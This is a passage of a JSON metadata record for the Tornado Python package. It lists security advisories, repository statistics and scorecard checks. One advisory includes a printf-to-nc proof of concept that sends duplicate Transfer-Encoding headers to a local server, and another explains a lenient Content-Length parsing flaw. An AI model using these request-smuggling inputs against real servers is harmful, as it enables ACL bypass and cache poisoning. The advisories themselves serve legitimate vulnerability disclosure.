07 Oct 2023 17:32:05 GMT\nContent-Length: 1\n\nZ\n```\n4. Send a request with two `Transfer-Encoding: chunked` headers:\n```\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n5. Observe the strange response:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:35:40 GMT\nContent-Length: 0\n\nHTTP/1.1 400 Bad Request\n\n```\nThis is because Tornado believes that the request has no message body, so it tries to interpret `1\\r\\nZ\\r\\n0\\r\\n\\r\\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.\n\n### Impact\nAnyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-06-06T21:41:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g","https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572","https://github.com/advisories/GHSA-753j-mpmx-qq6g"],"source_kind":"github","identifiers":["GHSA-753j-mpmx-qq6g"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":0.0,"created_at":"2024-06-06T22:05:20.148Z","updated_at":"2026-08-14T00:11:50.840Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTNqLW1wbXgtcXE2Z84AA8x8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTNqLW1wbXgtcXE2Z84AA8x8","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.4.1","vulnerable_version_range":"\u003c= 6.4.0"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTNqLW1wbXgtcXE2Z84AA8x8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcHB2LWo3NmgtMnJweM4AA1Sz","url":"https://github.com/advisories/GHSA-qppv-j76h-2rpx","title":"Tornado vulnerable to HTTP request smuggling via improper parsing of `Content-Length` fields and chunk lengths","description":"## Summary\nTornado interprets `-`, `+`, and `_` in chunk length and `Content-Length` values, which are not allowed by the HTTP RFCs. This can result in request smuggling when Tornado is deployed behind certain proxies that interpret those non-standard characters differently. This is known to apply to older versions of haproxy, although the current release is not affected.\n\n## Details\nTornado uses the `int` constructor to parse the values of `Content-Length` headers and chunk lengths in the following locations:\n### `tornado/http1connection.py:445`\n```python3\n            self._expected_content_remaining = int(headers[\"Content-Length\"])\n```\n### `tornado/http1connection.py:621`\n```python3\n                content_length = int(headers[\"Content-Length\"])  # type: Optional[int]\n```\n### `tornado/http1connection.py:671`\n```python3\n            chunk_len = int(chunk_len_str.strip(), 16)\n```\nBecause `int(\"0_0\") == int(\"+0\") == int(\"-0\") == int(\"0\")`, using the `int` constructor to parse and validate strings that should contain only ASCII digits is not a good strategy. \n\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-08-14T21:34:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-qppv-j76h-2rpx","https://github.com/tornadoweb/tornado/commit/b7a5dd29bb02950303ae96055082c12a1ea0a4fe","https://github.com/advisories/GHSA-qppv-j76h-2rpx"],"source_kind":"github","identifiers":["GHSA-qppv-j76h-2rpx"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":0.0,"created_at":"2023-08-14T22:05:07.928Z","updated_at":"2026-08-15T20:16:42.214Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcHB2LWo3NmgtMnJweM4AA1Sz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcHB2LWo3NmgtMnJweM4AA1Sz","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.3.3","vulnerable_version_range":"\u003c 6.3.3"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcHB2LWo3NmgtMnJweM4AA1Sz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oajNmLTZnY3Atamc4as4AAzeO","url":"https://github.com/advisories/GHSA-hj3f-6gcp-jg8j","title":"Open redirect in Tornado","description":"Open redirect vulnerability in Tornado versions 6.3.1 and earlier allows a remote unauthenticated attacker to redirect a user to an arbitrary web site and conduct a phishing attack by having user access a specially crafted URL.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-05-25T12:30:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-28370","https://github.com/tornadoweb/tornado/releases/tag/v6.3.2","https://github.com/tornadoweb/tornado/commit/32ad07c54e607839273b4e1819c347f5c8976b2f","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2023-75.yaml","https://jvn.jp/en/jp/JVN45127776","https://lists.debian.org/debian-lts-announce/2025/01/msg00000.html","https://github.com/advisories/GHSA-hj3f-6gcp-jg8j"],"source_kind":"github","identifiers":["GHSA-hj3f-6gcp-jg8j","CVE-2023-28370"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":26.78713408589778,"created_at":"2023-05-25T18:03:30.121Z","updated_at":"2026-08-11T14:11:35.883Z","epss_percentage":0.01142,"epss_percentile":0.63553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oajNmLTZnY3Atamc4as4AAzeO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oajNmLTZnY3Atamc4as4AAzeO","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.3.2","vulnerable_version_range":"\u003c 6.3.2"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oajNmLTZnY3Atamc4as4AAzeO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dnB3LW1ncGYtbXB2ds4AAgVX","url":"https://github.com/advisories/GHSA-8vpw-mgpf-mpvv","title":"Tornado XSRF cookie allows side-channel attack against TLS (BREACH attack)","description":"Tornado before 3.2.2 sends arbitrary responses that contain a fixed CSRF token and may be sent with HTTP compression, which makes it easier for remote attackers to conduct a BREACH attack and determine this token via a series of crafted requests.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T19:57:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-9720","https://github.com/tornadoweb/tornado/commit/1c36307463b1e8affae100bf9386948e6c1b2308","https://bugzilla.novell.com/show_bug.cgi?id=930362","https://bugzilla.redhat.com/show_bug.cgi?id=1222816","http://openwall.com/lists/oss-security/2015/05/19/4","http://www.tornadoweb.org/en/stable/releases/v3.2.2.html","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2020-213.yaml","https://github.com/advisories/GHSA-8vpw-mgpf-mpvv"],"source_kind":"github","identifiers":["GHSA-8vpw-mgpf-mpvv","CVE-2014-9720"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":35.88465132261778,"created_at":"2024-02-01T21:05:05.866Z","updated_at":"2026-08-21T12:08:32.812Z","epss_percentage":0.0251,"epss_percentile":0.8351,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dnB3LW1ncGYtbXB2ds4AAgVX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dnB3LW1ncGYtbXB2ds4AAgVX","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"3.2.2","vulnerable_version_range":"\u003c 3.2.2"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dnB3LW1ncGYtbXB2ds4AAgVX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mN2Z2LXY5cmgtcHJ2Y84AAfig","url":"https://github.com/advisories/GHSA-f7fv-v9rh-prvc","title":"Tornado CRLF injection vulnerability","description":"CRLF injection vulnerability in the `tornado.web.RequestHandler.set_header` function in Tornado before 2.2.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T05:23:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2012-2374","http://openwall.com/lists/oss-security/2012/05/18/12","http://www.openwall.com/lists/oss-security/2012/05/18/6","http://www.tornadoweb.org/documentation/releases/v2.2.1.html","https://github.com/tornadoweb/tornado/commit/1ae91f6d58e6257e0ab49d295d8741ce1727bdb7","https://web.archive.org/web/20140720192646/http://secunia.com/advisories/49185","https://web.archive.org/web/20200229124524/http://www.securityfocus.com/bid/53612","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2012-5.yaml","https://github.com/advisories/GHSA-f7fv-v9rh-prvc"],"source_kind":"github","identifiers":["GHSA-f7fv-v9rh-prvc","CVE-2012-2374"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":43.971333310813336,"created_at":"2024-05-01T12:05:25.860Z","updated_at":"2026-08-14T00:12:23.710Z","epss_percentage":0.01373,"epss_percentile":0.695,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mN2Z2LXY5cmgtcHJ2Y84AAfig","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mN2Z2LXY5cmgtcHJ2Y84AAfig","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"2.2.1","vulnerable_version_range":"\u003c 2.2.1"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mN2Z2LXY5cmgtcHJ2Y84AAfig/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/tornado","docker_dependents_count":9059,"docker_downloads_count":3884301635,"usage_url":"https://repos.ecosyste.ms/usage/pypi/tornado","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/tornado/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-22T12:33:54.733Z","issues_count":206,"pull_requests_count":431,"avg_time_to_close_issue":39614074.5862069,"avg_time_to_close_pull_request":4496940.289940828,"issues_closed_count":145,"pull_requests_closed_count":338,"pull_request_authors_count":100,"issue_authors_count":162,"avg_comments_per_issue":3.320388349514563,"avg_comments_per_pull_request":0.9025522041763341,"merged_pull_requests_count":264,"bot_issues_count":0,"bot_pull_requests_count":27,"past_year_issues_count":18,"past_year_pull_requests_count":104,"past_year_avg_time_to_close_issue":1331791.2857142857,"past_year_avg_time_to_close_pull_request":671298.574074074,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":54,"past_year_pull_request_authors_count":30,"past_year_issue_authors_count":17,"past_year_avg_comments_per_issue":1.4444444444444444,"past_year_avg_comments_per_pull_request":0.6442307692307693,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/issues","maintainers":[{"login":"bdarnell","count":215,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bdarnell"}],"active_maintainers":[{"login":"bdarnell","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bdarnell"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/tornado/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/tornado/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/tornado/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/tornado/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/tornado/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/tornado/codemeta","maintainers":[{"uuid":"Ben.Darnell","login":"Ben.Darnell","name":null,"email":null,"url":null,"packages_count":7,"html_url":"https://pypi.org/user/Ben.Darnell/","role":null,"created_at":"2022-12-07T20:06:50.489Z","updated_at":"2022-12-07T20:06:50.489Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/Ben.Darnell/packages"},{"uuid":"emptysquare","login":"emptysquare","name":null,"email":null,"url":null,"packages_count":12,"html_url":"https://pypi.org/user/emptysquare/","role":null,"created_at":"2022-12-07T20:06:50.524Z","updated_at":"2022-12-07T20:06:50.524Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/emptysquare/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":930499,"maintainers_count":399697,"namespaces_count":0,"keywords_count":311773,"github":"pypi","metadata":{"funded_packages_count":58574,"rate_limit":2},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-08-24T05:05:47.334Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":76465,"name":"py-tornado","ecosystem":"spack","description":"Tornado is a Python web framework and asynchronous networking library.\n","homepage":"https://github.com/tornadoweb/tornado","licenses":"[]","normalized_licenses":["Other"],"repository_url":"https://github.com/tornadoweb/tornado","keywords_array":[],"namespace":null,"versions_count":8,"first_release_published_at":"2022-04-05T09:29:46.942Z","latest_release_published_at":"2026-08-13T00:07:45.635Z","latest_release_number":"6.5.7","last_synced_at":"2026-08-24T13:36:50.485Z","created_at":"2022-04-05T09:29:46.916Z","updated_at":"2026-08-24T13:36:50.486Z","registry_url":"https://packages.spack.io/package.html?name=py-tornado","install_command":"spack install py-tornado","documentation_url":null,"metadata":{},"repo_metadata":{"id":658918,"uuid":"301742","full_name":"tornadoweb/tornado","owner":"tornadoweb","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.","archived":false,"fork":false,"pushed_at":"2026-08-07T15:34:25.000Z","size":11095,"stargazers_count":22179,"open_issues_count":252,"forks_count":5550,"subscribers_count":948,"default_branch":"master","last_synced_at":"2026-08-23T14:39:42.881Z","etag":null,"topics":["asynchronous","python"],"latest_commit_sha":null,"homepage":"http://www.tornadoweb.org/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tornadoweb.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-09T04:55:16.000Z","updated_at":"2026-08-23T02:08:09.000Z","dependencies_parsed_at":"2026-08-14T16:34:01.251Z","dependency_job_id":null,"html_url":"https://github.com/tornadoweb/tornado","commit_stats":{"total_commits":3791,"total_committers":449,"mean_commits":8.443207126948774,"dds":"0.34819308889475076","last_synced_commit":"0a39ba8b6ac0beb48a3244098cfa72ce1f59f215"},"previous_names":["facebook/tornado"],"tags_count":85,"template":false,"template_full_name":null,"purl":"pkg:github/tornadoweb/tornado","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/sbom","scorecard":{"id":895010,"data":{"date":"2025-08-11","repo":{"name":"github.com/tornadoweb/tornado","commit":"c2bd430e422fbe0302e0d8d64c4a4d4b826b1825"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":3,"reason":"Found 5/14 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: found token with 'none' permissions: .github/workflows/build.yml:1","Info: found token with 'none' permissions: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:101: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:139: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: containerImage not pinned by hash: demos/blog/Dockerfile:1: pin your Docker image by updating python:3.7 to python:3.7@sha256:eedf63967cdb57d8214db38ce21f105003ed4e4d0358f02bedc057341bcf92a0","Warn: pipCommand not pinned by hash: demos/blog/Dockerfile:9","Warn: pipCommand not pinned by hash: maint/vm/freebsd/setup.sh:21","Warn: pipCommand not pinned by hash: maint/vm/ubuntu12.04/setup.sh:41","Warn: pipCommand not pinned by hash: maint/vm/ubuntu14.04/setup.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:74","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:84","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   8 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build.yml:80"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: PYSEC-2020-213 / GHSA-8vpw-mgpf-mpvv","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: PYSEC-2012-5 / GHSA-f7fv-v9rh-prvc","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T13:21:32.547Z","repository_id":658918,"created_at":"2025-08-24T13:21:32.547Z","updated_at":"2025-08-24T13:21:32.547Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36881182,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-24T02:00:14.037Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tornadoweb","name":"tornadoweb","uuid":"7468980","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/7468980?v=4","repositories_count":1,"last_synced_at":"2026-08-22T00:11:50.763Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/tornadoweb","funding_links":[],"total_stars":22187,"followers":101,"following":0,"created_at":"2022-11-02T16:23:22.380Z","updated_at":"2026-08-22T00:11:50.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb/repositories"},"tags":[{"name":"v6.5.8","sha":"a55abe3e3bf59994f29b2f7084c46341f0d